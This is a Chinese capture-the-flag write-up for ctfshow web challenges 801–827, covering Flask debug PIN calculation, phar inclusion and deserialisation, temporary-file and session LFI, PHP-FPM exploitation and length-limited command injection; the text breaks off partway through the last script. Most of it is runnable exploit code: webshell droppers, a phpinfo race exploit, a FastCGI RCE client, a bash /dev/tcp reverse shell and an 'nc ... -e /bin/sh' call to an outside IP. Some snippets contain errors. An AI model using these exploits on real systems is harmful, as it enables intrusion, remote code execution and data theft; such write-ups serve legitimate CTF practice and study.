web801(flask算pin)

参考连接:新版flask的pin码计算 - m1xian - 博客园

关于ctf中flask算pin总结_ctf:flask-CSDN博客

需要开启debug模式,然后访问/console路径输入pin码即可执行python命令。

Flask的Pin码计算与werkzeug的版本有关。

werkzeug 1.0.x低版本使用MD5,werkzeug 2.1.x高版本使用SHA1(一般是python3.8以上使用)

pin码由下面6个数字计算得出

probably_public_bits

  1. username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
  2. appname:getattr(app, "__name__", app.__class__.__name__),固定值,默认是 Flask
  3. modname:getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是 flask.app
  4. moddir:getattr(mod, "__file__", None),即 app.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits

5.uuid:str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39 => 95529701177

6.machine_id:get_machine_id(),首先读取 /etc/machine-id(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id

werkzeug1.0.x的计算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain

probably_public_bits = [
'root'#username,通过/etc/passwd
'flask.app',#modname,默认值
'Flask',# 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

werkzeug>=2.0.x的计算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
'root', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,报错得到
]

# 私有信息部分
private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
# machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

访问/console,输入 pin码进入后台,然后执行py命令读取flag即可。

payload:

1
os.popen('cat /f*').read()

web802(无字母无数字rce)

参考无字母数字webshell总结-先知社区
最简单的取反脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();

web803(phat文件包含)

phar相关参考:Phar的一些利用姿势-先知社区

这题先上传phar文件,然后再包含,从而命令执行。

生成phar文件:

1
2
3
4
5
6
7
<?php
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

发送并包含rce:

1
2
3
4
5
6
7
8
9
import requests

url = "http://1a45d967-c7b9-45b6-93e3-4ea85f6f27ef.challenge.ctf.show/"

file = {'file': '/tmp/a.phar', 'content': open('test.phar', 'rb').read()}
data = {'file': 'phar:///tmp/a.phar/a', 'content': 'chino', '1': 'system("cat f*");'}
requests.post(url, data=file)
r = requests.post(url, data=data)
print(r.text)

成功获得flag。

web804(phar反序列化)

参考连接:Phar的一些利用姿势-先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$O -> code="system('cat /f*')"
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

web805(open_basedir绕过)

参考连接:Open_basedir绕过 - LLeaves - 博客园

web806(无参rce)

参考连接:无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

常用函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

web807(反弹shell)

1
2
3
攻击者:nc -lvp 9999

受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

web808(临时文件包含)

如果能访问/phpinfo.php则大概率存在这个漏洞。(若为php7.0则不需要)

本题版本为php7.0

参考PHP LFI 利用临时文件 Getshell 姿势_phpinfo拿shell-CSDN博客

ctfshow-常用姿势 | Na0H’s site

下面是ph牛的代码,不用重复的造轮子,直接更改脚本主要的几个地方就可以成功运行利用,如上传的恶意文件内容phpinfo.phpindex.php相应文件的文件名和位置、系统临时文件写入目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#python version 2.7

import sys
import threading
import socket

def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
# PAYLOAD = """%sr
# <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i + 17:i + 31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter = 0

class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/Qftm.php"
self.event.set()

except socket.error:
return

def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256

def main():
print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__ == "__main__":
main()

这题可以用session文件包含,参考链接session文件包含漏洞复现 - xiaoxiaosen - 博客园

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import threading

session = requests.session()

sess = "ctfshow"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"

data = {
"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
'file': 'ctfshow'
}

cookies = {
'PHPSESSID': sess
}


def write():
while True:
r = session.post(url=url, data=data, files=file, cookies=cookies)


def read():
while True:
r = session.post(url=url + "?file=/tmp/sess_ctfshow")
if "success" in r.text:
print("shell 地址为:" + url + "1.php")
exit()


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write).start()
for i in range(1, 30):
threading.Thread(target=read).start()
event.set()

web809(pear文件包含/RCE)

利用条件:

1
2
3
4
5
1)服务器上安装pear,也就是存在pearcmd.php。同时知道pearcmd.php的文件路径

2)web环境下在php.ini中register_argc_argv设置为On

3)存在文件包含,可以包含php文件并且没有open_basedir的限制

参考链接如何利用pear扩展实现rce - FreeBuf网络安全行业门户

web810(SSRF打PHP-FPM)

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。

Fastcgi 协议分析与 PHP-FPM 攻击方法-先知社区

要求开放PHP-FPM服务。

web811(file_put_contents打PHP-FPM)

参考链接PHP-FPM攻击详解 - 跳跳糖

web812(PHP-FPM未授权)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

payload:

1
python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813(劫持mysqli)

利用条件:

1.拓展目录明确且可写

2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)

3.有调用我们自定义函数的代码

参考链接:【Web】CTFSHOW 常用姿势刷题记录(全)_ctfshow全-CSDN博客

通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。

php -r 是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。

使用格式为:php -r ‘php code here’

注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码

web814(劫持getuid)

web821(7字符可写rce)

参考RCE篇之限制长度下的命令执行_51CTO博客_命令行参数长度限制

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time

url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"

payload = [
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]


def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)


def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)


def check():
response = requests.get(url + "1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "1.php")


def main():
run()
check()


if __name__ == '__main__':
main()

web822(7字符不可写(web目录不可写))

通过”.”和通配符来执行临时文件。

1
2
3
4
import requests
url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
file={'file':'nc 124.222.136.33 1337 -e /bin/sh'}
r= requests.post(url,files=file,data={'cmd':'. /t*/*'})

web823(5字符可写,有dir)

将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests
import time

url = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
url_2 = url+".php"
delay = 1

chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'>tar',
'>vcf',
'>z'
]

file={
'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
for p in chagneFile_payload:
sendPayload(url,p)
print("[*] create "+p.strip())
time.sleep(delay)

def clearFile():
for p in clearFile_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)

def getshell():
for p in shell_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)
data={
"cmd":"* /t*"
}
requests.post(url_2,data=data,files=file)
data={
"cmd":"php z"
}
requests.post(url_2,data=data)

def checkShell():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")

def sendPayload(url,payload):
data={
"cmd":payload
}
requests.post(url,data=data)



def run():
changeFile()
clearFile()
getshell()
checkShell()

def main():
run()

if __name__ == '__main__':
main()

web824(5字符可写无dir命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"

payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.5)
print("[*] Attack success!!!Webshell is "+url)

def main():
run()

if __name__ == '__main__':
main()

匹配了所有带h的行,将其重新写到index.php中。

web825(4字符,可写,有dir)

linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,结果是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行

只打一个执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*就相当于执行rev v,将v文件的内容逆序输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import time

url = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"

payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)

def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
run()
check()

if __name__ == '__main__':
main()

x文件内容:

1
ls    -tk  >j  #j  php.xedni

j内容就是一个base64的逆序

成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库

web826-827(4字符,可写、无dir,不出网)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import time

url = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
